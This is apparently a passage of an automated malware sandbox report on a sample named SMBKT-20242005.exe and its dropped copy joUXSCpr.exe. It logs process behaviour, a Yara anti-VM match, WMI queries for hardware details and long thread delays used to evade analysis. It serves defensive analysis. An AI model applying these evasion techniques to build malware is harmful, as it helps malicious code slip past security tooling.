Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: SMBKT-20242005.exe PID: 7376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: joUXSCpr.exe PID: 7852, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory allocated: 1370000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory allocated: 2D70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory allocated: 4D70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory allocated: 9010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory allocated: A010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory allocated: A220000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory allocated: B220000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory allocated: B630000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory allocated: C630000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory allocated: A220000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory allocated: B630000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory allocated: C630000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory allocated: 2A30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory allocated: 2C30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory allocated: 4C30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory allocated: 8A80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory allocated: 9A80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory allocated: 9C80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory allocated: AC80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory allocated: B070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory allocated: C070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory allocated: 9C80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory allocated: B070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory allocated: C070000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8181	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1449	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 471	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 1718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 944	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 4734	Jump to behavior

Source: C:\Users\user\Desktop\SMBKT-20242005.exe TID: 7428	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe TID: 7876	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98766	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99866	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99749	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99421	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99286	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99154	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98718	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98499	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98171	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97950	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97842	Jump to behavior
